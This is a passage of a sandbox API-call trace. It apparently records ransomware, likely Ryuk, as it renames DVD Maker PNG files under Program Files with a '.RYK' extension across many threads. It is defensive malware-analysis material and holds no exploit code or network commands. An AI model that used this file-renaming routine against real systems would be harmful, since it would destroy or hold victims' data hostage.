	[0230.550] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1181
	os_tid = 0x1894

	[0230.551] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1182
	os_tid = 0x1898

	[0230.682] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.682] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1183
	os_tid = 0x189c

	[0230.684] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.684] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1184
	os_tid = 0x18a0

	[0230.686] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.686] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1185
	os_tid = 0x18a4

	[0230.688] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.688] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1186
	os_tid = 0x18a8

	[0230.689] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", dwFileAttributes=0x80) returned 0
	[0230.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1187
	os_tid = 0x18ac

	[0230.691] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0230.692] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1188
	os_tid = 0x18b0

	[0230.695] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", dwFileAttributes=0x80) returned 0
	[0230.695] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1189
	os_tid = 0x18b4

	[0230.697] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.697] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1190
	os_tid = 0x18b8

	[0230.699] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.699] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1191
	os_tid = 0x18bc

	[0230.701] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.701] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1192
	os_tid = 0x18c0

	[0230.703] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.703] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1193
	os_tid = 0x18c4

	[0230.705] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.705] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1194
	os_tid = 0x18c8

	[0230.808] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.808] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1195
	os_tid = 0x18cc

	[0230.810] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png", dwFileAttributes=0x80) returned 0
	[0230.810] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1196
	os_tid = 0x18d0

	[0230.818] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.818] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1197
	os_tid = 0x18d4

	[0230.820] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.820] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1198
	os_tid = 0x18d8

	[0230.822] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.822] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1199
	os_tid = 0x18dc

	[0230.823] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.823] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.824] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1200
	os_tid = 0x18e0

	[0230.826] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.826] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.826] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1201
	os_tid = 0x18e4

	[0230.828] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.828] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1202
	os_tid = 0x18e8

	[0230.830] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.830] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
